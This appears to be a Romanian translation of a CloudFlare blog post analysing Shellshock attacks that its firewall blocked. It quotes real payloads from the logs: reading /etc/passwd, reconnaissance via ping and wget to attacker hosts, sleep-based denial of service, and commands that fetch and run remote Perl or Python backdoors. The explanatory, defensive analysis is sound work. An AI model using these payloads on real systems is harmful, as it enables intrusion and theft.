În interiorul Shellshock: cum hackerii îl folosesc pentru a exploata sistemele

miercuri, săptămâna trecută, au apărut detalii despre bug-ul Shellshock bash. Acest bug a început o luptă pentru a patch-uri computere, servere, routere, firewall-uri și alte aparate de calcul folosind versiuni vulnerabile ale bash.

CloudFlare a lansat imediat protecția pentru clienții Pro, Business și Enterprise prin Firewall-ul aplicației noastre Web. Duminică, după ce am studiat amploarea problemei și am analizat jurnalele atacurilor oprite de WAF, am decis să lansăm protecție și pentru clienții noștri cu plan gratuit.

de atunci am monitorizat atacurile pe care le-am oprit pentru a înțelege cum arată și de unde provin. Pe baza observațiilor noastre, este clar că hackerii exploatează Shellshock la nivel mondial.


(CC BY 2.0 aussiegall)

Eject

problema Shellshock este un exemplu de vulnerabilitate de execuție a codului arbitrar (ACE). De obicei, atacurile de vulnerabilitate ACE sunt executate pe programe care rulează și necesită o înțelegere extrem de sofisticată a Internelor de execuție a codului, a aspectului memoriei și a limbajului de asamblare—pe scurt, acest tip de atac necesită un expert.

atacatorul va folosi, de asemenea, o vulnerabilitate ACE pentru a încărca sau rula un program care le oferă o modalitate simplă de a controla mașina vizată. Acest lucru este adesea realizat prin rularea unei „cochilii”. Un shell este o linie de comandă în care comenzile pot fi introduse și executate.vulnerabilitatea Shellshock este o problemă majoră, deoarece elimină nevoia de cunoștințe de specialitate și oferă un mod simplu (din păcate, foarte simplu) de a prelua controlul unui alt computer (cum ar fi un server web) și de a-l face să ruleze cod.

Să presupunem pentru o clipă că ați vrut să atacați un server web și să deschideți diapozitivul CD sau DVD. Există de fapt o comandă pe Linux care va face asta: /bin/eject. Dacă un server web este vulnerabil la Shellshock, l-ați putea ataca adăugând șirul magic () { :; }; la /bin/eject și apoi trimițând acel șir către computerul țintă prin HTTP. În mod normal, User-Agent șirul ar identifica tipul de browser pe care îl utilizați, dar, în cazul vulnerabilității Shellshock, acesta poate fi setat să spună orice.

de exemplu, dacă example.com a fost vulnerabil atunci

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

ar fi suficient pentru a face de fapt unitatea CD sau DVD eject.

în monitorizarea atacurilor Shellshock pe care le-am blocat, am văzut de fapt pe cineva care încerca exact acel atac. Deci, dacă rulați un server web și găsiți brusc un DVD ejectat, ar putea fi un indiciu că mașina dvs. este vulnerabilă la Shellshock.

de ce funcționează acel atac simplu

când un server web primește o solicitare pentru o pagină, există trei părți ale cererii care pot fi susceptibile la atacul Shellshock: URL-ul de solicitare, anteturile care sunt trimise împreună cu URL-ul și ceea ce sunt cunoscute sub numele de „argumente” (când introduceți numele și adresa dvs. pe un site web, acesta va fi de obicei trimis ca argumente în cerere).

de exemplu, aici este o cerere HTTP reală care preia pagina CloudFlare:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

în acest caz URL-ul este / (pagina principală) și anteturile sunt Accept-EncodingAccept-Language, etc. Aceste anteturi oferă serverului web informații despre capacitățile browserului meu web, limba mea preferată, site-ul web pe care îl caut și ce browser folosesc.

nu este neobișnuit ca acestea să fie transformate în variabile în interiorul unui server web, astfel încât serverul web să le poată examina. (Serverul web ar putea dori să știe care este limba mea preferată, astfel încât să poată decide cum să-mi răspundă).

de exemplu, în interiorul serverului web care răspunde la solicitarea pentru pagina de pornire CloudFlare este posibil ca următoarele variabile să fie definite prin copierea caracterului anteturilor cererii după caracter.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

atâta timp cât aceste variabile rămân în interiorul software-ului serverului web și nu sunt transmise altor programe care rulează pe serverul web, serverul nu este vulnerabil.Shellshock apare atunci când variabilele sunt transmise în shell-ul numit „bash”. Bash este un shell comun utilizat pe sistemele Linux. Serverele Web destul de des trebuie să ruleze alte programe pentru a răspunde la o solicitare și este obișnuit ca aceste variabile să fie transmise în bash sau într-un alt shell.

problema Shellshock apare în mod specific atunci când un atacator modifică cererea HTTP de origine pentru a conține șirul magic() { :; }; discutat mai sus.

să presupunem că atacatorul schimbă antetul User-Agent de mai sus de laMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 la pur și simplu() { :; }; /bin/eject. Aceasta creează următoarea variabilă în interiorul unui server web:

HTTP_USER_AGENT=() { :; }; /bin/eject

dacă acea variabilă este transmisă în bash de serverul web, apare problema Shellshock. Acest lucru se datorează faptului că bash are reguli speciale pentru manipularea unei variabile care începe cu () { :; };. În loc să trateze variabila HTTP_USER_AGENT ca o secvență de caractere fără semnificație specială, bash o va interpreta ca o comandă care trebuie executată (am omis explicațiile profund tehnice ale motivului pentru care () { :; }; îl face pe bash să se comporte așa din motive de claritate în acest eseu.)

problema este căHTTP_USER_AGENT a venit de laUser-Agent antet care este ceva un atacator controlează, deoarece vine în serverul web într-o cerere HTTP. Și aceasta este o rețetă pentru dezastru, deoarece un atacator poate face un server vulnerabil să ruleze orice comandă dorește (vezi exemplele de mai jos).

soluția este de a actualiza bash la o versiune care nu interpretează() { :; }; într-un mod special.

în cazul în care atacurile provin de la

când am lansat protecție pentru toți clienții am pus în aplicare o valoare care ne-a permis să monitorizeze numărul de atacuri Shellshock încercat. Toți au primit un cod de eroare interzis HTTP 403, dar am păstrat un jurnal al momentului în care au avut loc și informații de bază despre atac.

această diagramă arată numărul de atacuri pe secundă în rețeaua CloudFlare de la lansarea protecției pentru toți clienții.

Din momentul în care CloudFlare a activat protecția Shellshock până dimineața devreme, am văzut 10 până la 15 atacuri pe secundă. În ordinea volumului de atacuri, aceste solicitări veneau din Franța (80%), SUA (7%), Olanda (7%) și apoi volume mai mici din multe alte țări.

în jurul orei 0100 Pacific (1000 la Paris) atacurile din Franța au încetat. În prezent, vedem în jur de 5 atacuri pe secundă. La momentul scrierii, am blocat peste 1.1 m atacuri Shellshock.

Lasa-ti imaginatia sa alerge salbatic

deoarece este atat de usor sa ataci masinile vulnerabile cu Shellshock si pentru ca o masina vulnerabila va rula orice comanda trimisa, atacatorii si-au lasat imaginatia sa alerge salbatic cu moduri de a manipula computerele de la distanta.CloudFlare ‘ s WAF înregistrează motivul pentru care a blocat o solicitare care ne permite să extragem și să analizăm șirurile Shellshock folosite. Shellshock este utilizat în principal pentru recunoaștere: pentru a extrage informații private și pentru a permite atacatorilor să obțină controlul asupra serverelor.

majoritatea comenzilor Shellshock sunt injectate folosind anteturile HTTP User-Agent și Referer, dar atacatorii folosesc și argumente GET și POST și alte anteturi HTTP aleatorii.pentru a extrage informații private, atacatorii folosesc câteva tehnici. Cele mai simple atacuri de extracție sunt sub forma:

() {:;}; /bin/cat /etc/passwd

care citește fișierul de parolă /etc/passwd și îl adaugă la răspunsul de pe serverul web. Deci, un atacator care injectează acest cod prin vulnerabilitatea Shellshock ar vedea fișierul de parolă aruncat pe ecranul lor ca parte a paginii web returnate.

într-un atac ei pur și simplu e-mail fișiere private pentru ei înșiși. Pentru a obține date prin e-mail, atacatorii folosesc comanda mail ca aceasta:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

acea comandă rulează mai întâi whoami pentru a afla numele utilizatorului care rulează serverul web. Acest lucru este util mai ales pentru că dacă serverul web este rulat ca root (superuserul care poate face orice), atunci serverul va fi o țintă deosebit de bogată.

apoi trimite numele de utilizator împreună cu numele site-ului web atacat (example.com mai sus) prin e-mail. Numele site-ului web apare în linia de subiect a e-mailului.în timpul liber, atacatorul se poate conecta la e-mail și poate afla ce site-uri erau vulnerabile. Aceeași tehnică de e-mail poate fi utilizată pentru a extrage date precum fișierul cu parolă.


(CC de 2.0 JD Hancock)

recunoaștere

de departe cel mai popular atac pe care l-am văzut (aproximativ 83% din toate atacurile) se numește „recunoaștere”. În atacurile de recunoaștere, atacatorul trimite o comandă care va trimite un mesaj unei mașini terțe. Mașina terță parte va compila apoi o listă cu toate mașinile vulnerabile care au contactat-o.

în trecut, am văzut liste de mașini compromise transformate în botnete pentru DDoS, spam sau în alte scopuri.

o tehnică populară de recunoaștere folosește comandaping pentru a determina o mașină vulnerabilă să trimită un singur pachet (numit ping) către un server terț pe care atacatorul îl controlează. Șirul de atac arată astfel:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

comandaping este utilizată în mod normal pentru a testa dacă o mașină este „vie” sau online (o mașină vie răspunde cu propriul ping). Dacă un server web este vulnerabil la Shellshock, atunci va trimite un singur pachet ping (-c 1) către atacator-mașină.com cu o sarcină utilă setată de -p. Sarcina utilă este un ID unic creat de atacator, astfel încât să poată urmări ping-ul înapoi la site-ul web vulnerabil.

o altă tehnică utilizată pentru a identifica serverele vulnerabile este de a face serverul web să descarce o pagină web de la o mașină controlată de atacator. Atacatorul poate apoi să se uite în jurnalele serverului web pentru a afla ce mașină a fost vulnerabilă. Acest atac funcționează prin trimiterea unui șir Shellshock ca:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

atacatorul se uită în Jurnalul serverului web al attacker-controlled.com pentru intrări. Pagina descărcată este configurată de atacator pentru a dezvălui numele site-ului atacat. ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== este de fapt un cod care indică faptul că site-ul atacat a fost example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== este de fapt un șir codificat base64. Când este decodat se citește:

example.comShellShockSalt

Din acest șir atacatorul poate afla dacă atacul lor pe exemplu.com a avut succes și, dacă da, se pot întoarce mai târziu pentru a exploata în continuare acel site. În timp ce am înlocuit domeniul care a fost ținta, vedem exemple reale în sălbăticie folosind de fapt ShellShockSalt ca sare în hash.

Denial of Service

Un alt atac Shellshock folosește acest șir

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

încearcă să ruleze comanda sleep în trei moduri diferite (deoarece sistemele au configurații ușor diferite, somnul poate fi găsit în directoarele /bin sau /sbin sau /usr/bin). Indiferent de somnul pe care îl rulează, determină serverul să aștepte 20 de secunde înainte de a răspunde . Acest lucru va consuma resurse pe mașină, deoarece un fir sau un proces care execută sleep nu va face nimic altceva timp de 20 de secunde.

aceasta este poate cea mai simplă negare a serviciului dintre toate. Atacatorii îi spun pur și simplu mașinii să doarmă o vreme. Trimite suficient de aceste comenzi, iar aparatul ar putea fi legat de a face nimic și în imposibilitatea de a deservi cererile legitime.


(CC BY 2.0 peter castleton)

preluarea controlului

aproximativ 8% din atacurile pe care le-am văzut până acum au avut ca scop preluarea directă a controlului asupra unui server. Atacurile de control de la distanță arată astfel:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

această comandă încearcă să utilizeze două programe (wget și curl) pentru a descărca un program de pe un server pe care atacatorul îl controlează. Programul este scris în limba Perl și, odată descărcat, este rulat imediat. Acest program stabilește accesul de la distanță pentru un atacator la serverul web vulnerabil.

Un alt atac folosește limbajul Python pentru a configura un program care poate fi folosit pentru a rula de la distanță orice comandă pe mașina vulnerabilă:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

cl.py programul descărcat este făcut să arate ca o actualizare a programului antivirus ClamAV. După o întârziere de 5 secunde, atacul se curăță după sine prin eliminarea fișierului descărcat (lăsându-l să ruleze doar în memorie).


(CC BY 2.0 Jeff Taylor)

selectarea țintei

privind site-urile web atacate și adresele URL solicitate, este posibil să se facă o presupunere educată la aplicațiile web specifice atacate.

adresele URL de top pe care le-am văzut atacate sunt: / (23.00%), /cgi-bin-sdb/printenv(15,12%), /CGI-mod/index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15.20%) și /cgi-sys/defaultwebpage.cgi(14,59%). Unele dintre aceste adrese URL sunt utilizate de aplicații web populare și chiar de un aparat hardware.se pare că 23% din atacuri sunt îndreptate împotriva software-ului de control al găzduirii web cPanel, 15% împotriva instalațiilor Apache vechi și 15% împotriva produselor hardware Barracuda care au o interfață bazată pe web.

acesta din urmă este interesant pentru că subliniază faptul că Shellshock nu este doar un atac asupra site-urilor web: este un atac asupra oricărui lucru care rulează bash și accesibil pe Internet. Acestea ar putea include dispozitive hardware, set-top box-uri, laptopuri, chiar și telefoane.

Lasă un răspuns

Adresa ta de email nu va fi publicată.